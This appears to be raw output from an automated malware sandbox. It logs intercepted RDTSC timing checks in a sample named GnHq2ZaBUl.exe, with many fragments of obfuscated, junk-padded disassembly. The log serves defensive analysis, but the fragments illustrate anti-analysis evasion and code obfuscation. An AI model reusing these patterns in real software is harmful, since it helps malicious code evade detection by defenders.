Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E936E4 second address: E936E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E93823 second address: E93849 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a popad 0x0000000b pushad 0x0000000c push edi 0x0000000d pop edi 0x0000000e jmp 00007F3DA0D10B3Fh 0x00000013 pushad 0x00000014 popad 0x00000015 popad 0x00000016 pop eax 0x00000017 push eax 0x00000018 push edx 0x00000019 push esi 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E93849 second address: E93864 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3DA0B69F56h 0x00000009 pop esi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E93864 second address: E93871 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F3DA0D10B38h 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E93B1B second address: E93B28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jne 00007F3DA0B69F52h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E93CA8 second address: E93CB2 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F3DA0D10B36h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E9B6CF second address: E9B6D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E9B6D9 second address: E9B6DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E9BADA second address: E9BAEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 jmp 00007F3DA0B69F4Ah 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E9BAEC second address: E9BAF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E9AD78 second address: E9AD7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E9AD7C second address: E9AD84 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: EA0A94 second address: EA0A9A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: EA0A9A second address: EA0A9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: EA0A9E second address: EA0AAF instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F3DA0B69F46h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push edx 0x0000000e pop edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: EA4E48 second address: EA4E4E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: EA4E4E second address: EA4E53 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: EA4E53 second address: EA4E66 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3DA0D10B3Dh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E62C50 second address: E62C5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F3DA0B69F46h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E62C5B second address: E62C7D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3DA0D10B3Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F3DA0D10B41h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E62C7D second address: E62D07 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F3DA0B69F4Ch 0x00000008 jmp 00007F3DA0B69F4Fh 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 nop 0x00000011 push 00000000h 0x00000013 push ecx 0x00000014 call 00007F3DA0B69F48h 0x00000019 pop ecx 0x0000001a mov dword ptr [esp+04h], ecx 0x0000001e add dword ptr [esp+04h], 0000001Ah 0x00000026 inc ecx 0x00000027 push ecx 0x00000028 ret 0x00000029 pop ecx 0x0000002a ret 0x0000002b pushad 0x0000002c jmp 00007F3DA0B69F52h 0x00000031 popad 0x00000032 mov edi, dword ptr [ebp+122D2D9Eh] 0x00000038 lea eax, dword ptr [ebp+1247D9DBh] 0x0000003e pushad 0x0000003f mov di, 352Dh 0x00000043 pushad 0x00000044 mov dword ptr [ebp+122D1DE0h], ebx 0x0000004a jng 00007F3DA0B69F46h 0x00000050 popad 0x00000051 popad 0x00000052 nop 0x00000053 push edx 0x00000054 push eax 0x00000055 jo 00007F3DA0B69F46h 0x0000005b pop eax 0x0000005c pop edx 0x0000005d push eax 0x0000005e push eax 0x0000005f push edx 0x00000060 push edx 0x00000061 push esi 0x00000062 pop esi 0x00000063 pop edx 0x00000064 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E62D07 second address: E49AF9 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F3DA0D10B38h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push edx 0x0000000e call 00007F3DA0D10B38h 0x00000013 pop edx 0x00000014 mov dword ptr [esp+04h], edx 0x00000018 add dword ptr [esp+04h], 0000001Bh 0x00000020 inc edx 0x00000021 push edx 0x00000022 ret 0x00000023 pop edx 0x00000024 ret 0x00000025 stc 0x00000026 and cx, 29E8h 0x0000002b call dword ptr [ebp+122D2EDCh] 0x00000031 push edx 0x00000032 jnp 00007F3DA0D10B3Ah 0x00000038 pushad 0x00000039 popad 0x0000003a pushad 0x0000003b popad 0x0000003c jmp 00007F3DA0D10B3Ch 0x00000041 pop edx 0x00000042 push ecx 0x00000043 push eax 0x00000044 push edx 0x00000045 push eax 0x00000046 push edx 0x00000047 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E62DA9 second address: E62DDB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3DA0B69F54h 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F3DA0B69F56h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E62DDB second address: E62DE0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E62DE0 second address: E62E7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 xchg eax, ebx 0x00000008 push 00000000h 0x0000000a push ebp 0x0000000b call 00007F3DA0B69F48h 0x00000010 pop ebp 0x00000011 mov dword ptr [esp+04h], ebp 0x00000015 add dword ptr [esp+04h], 00000019h 0x0000001d inc ebp 0x0000001e push ebp 0x0000001f ret 0x00000020 pop ebp 0x00000021 ret 0x00000022 push dword ptr fs:[00000000h] 0x00000029 sub edi, dword ptr [ebp+122D2DDEh] 0x0000002f mov dword ptr fs:[00000000h], esp 0x00000036 push 00000000h 0x00000038 push edx 0x00000039 call 00007F3DA0B69F48h 0x0000003e pop edx 0x0000003f mov dword ptr [esp+04h], edx 0x00000043 add dword ptr [esp+04h], 00000019h 0x0000004b inc edx 0x0000004c push edx 0x0000004d ret 0x0000004e pop edx 0x0000004f ret 0x00000050 movsx edx, bx 0x00000053 mov dword ptr [ebp+1247DA33h], esp 0x00000059 add dword ptr [ebp+122D1DE8h], esi 0x0000005f cmp dword ptr [ebp+122D2B9Ah], 00000000h 0x00000066 jne 00007F3DA0B69FD7h 0x0000006c mov dword ptr [ebp+122D34DFh], edi 0x00000072 or edx, 533B635Fh 0x00000078 mov byte ptr [ebp+122D330Ah], 00000047h 0x0000007f sbb ecx, 489E69B5h 0x00000085 mov eax, D49AA7D2h 0x0000008a mov cl, 9Ch 0x0000008c push eax 0x0000008d push edx 0x0000008e pushad 0x0000008f push eax 0x00000090 push edx 0x00000091 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E634DF second address: E634EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 jbe 00007F3DA0D10B36h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E634EC second address: E63513 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3DA0B69F57h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push edi 0x0000000e jc 00007F3DA0B69F46h 0x00000014 pop edi 0x00000015 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E63513 second address: E63538 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F3DA0D10B47h 0x00000008 jmp 00007F3DA0D10B41h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f mov eax, dword ptr [esp+04h] 0x00000013 push eax 0x00000014 push edx 0x00000015 push esi 0x00000016 pushad 0x00000017 popad 0x00000018 pop esi 0x00000019 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E63538 second address: E63566 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 jmp 00007F3DA0B69F50h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov eax, dword ptr [eax] 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F3DA0B69F52h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E63566 second address: E6358E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jp 00007F3DA0D10B36h 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp+04h], eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F3DA0D10B46h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E63BAD second address: E63BB2 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E63BB2 second address: E63BEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a mov dx, AEDFh 0x0000000e push 0000001Eh 0x00000010 mov dword ptr [ebp+122D2958h], esi 0x00000016 mov edi, dword ptr [ebp+122D2FE5h] 0x0000001c nop 0x0000001d pushad 0x0000001e jmp 00007F3DA0D10B47h 0x00000023 push eax 0x00000024 push edx 0x00000025 jbe 00007F3DA0D10B36h 0x0000002b rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E63BEF second address: E63C0F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 pushad 0x0000000a jmp 00007F3DA0B69F50h 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E63EDE second address: E63EE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E63EE2 second address: E63EFA instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b pushad 0x0000000c push edx 0x0000000d jng 00007F3DA0B69F46h 0x00000013 pop edx 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E63EFA second address: E63F29 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F3DA0D10B36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b mov eax, dword ptr [eax] 0x0000000d push ecx 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 jmp 00007F3DA0D10B3Bh 0x00000016 popad 0x00000017 pop ecx 0x00000018 mov dword ptr [esp+04h], eax 0x0000001c pushad 0x0000001d jns 00007F3DA0D10B38h 0x00000023 push eax 0x00000024 push edx 0x00000025 push eax 0x00000026 pop eax 0x00000027 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: EA4065 second address: EA4077 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007F3DA0B69F4Ch 0x0000000b rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: EA4077 second address: EA407B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: EA407B second address: EA4081 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: EA4081 second address: EA4087 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: EA4087 second address: EA408B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: EA4371 second address: EA4375 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: EA48B8 second address: EA48BC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: EA4A36 second address: EA4A3C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E21CDB second address: E21CEB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jbe 00007F3DA0B69F46h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E21CEB second address: E21CF7 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E21CF7 second address: E21CFD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: EA948F second address: EA94C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 jbe 00007F3DA0D10B36h 0x0000000e jmp 00007F3DA0D10B41h 0x00000013 popad 0x00000014 jmp 00007F3DA0D10B43h 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: EA94C6 second address: EA94CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: EA9CED second address: EA9CF6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: EA9CF6 second address: EA9CFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: EA9CFC second address: EA9D00 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: EA9D00 second address: EA9D08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: EAA130 second address: EAA150 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3DA0D10B44h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 js 00007F3DA0D10B3Ch 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: EADEB8 second address: EADEBE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: EAD6EF second address: EAD6FD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3DA0D10B3Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: EAD6FD second address: EAD72B instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007F3DA0B69F55h 0x00000008 pop edi 0x00000009 push eax 0x0000000a pushad 0x0000000b popad 0x0000000c jne 00007F3DA0B69F46h 0x00000012 pop eax 0x00000013 pop edx 0x00000014 pop eax 0x00000015 je 00007F3DA0B69F65h 0x0000001b pushad 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: EAD72B second address: EAD731 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: EAD876 second address: EAD87C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: EAD87C second address: EAD880 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: EAD9DF second address: EAD9E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: EAD9E3 second address: EAD9E7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: EAFFF6 second address: EAFFFA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: EAFFFA second address: EB0007 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: EB5578 second address: EB5585 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 jno 00007F3DA0B69F46h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: EB5585 second address: EB55AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 jmp 00007F3DA0D10B45h 0x0000000c jmp 00007F3DA0D10B3Bh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: EB55AE second address: EB55B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ebx 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: EB52B2 second address: EB52B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: EB52B8 second address: EB52BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: EB52BC second address: EB52CC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3DA0D10B3Ah 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: EB9467 second address: EB946D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: EB946D second address: EB948A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3DA0D10B44h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: EB948A second address: EB948E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: EB948E second address: EB9494 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: EB9494 second address: EB949A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: EB87B6 second address: EB87BC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: EB87BC second address: EB87C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007F3DA0B69F46h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: EB8925 second address: EB892B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: EB892B second address: EB894B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F3DA0B69F54h 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: EB894B second address: EB8975 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F3DA0D10B36h 0x00000008 jmp 00007F3DA0D10B46h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push esi 0x00000010 jnp 00007F3DA0D10B36h 0x00000016 push edx 0x00000017 pop edx 0x00000018 pop esi 0x00000019 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: EB8D92 second address: EB8DA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F3DA0B69F46h 0x0000000a jo 00007F3DA0B69F46h 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: EB8DA3 second address: EB8DAA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: EB8DAA second address: EB8DB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
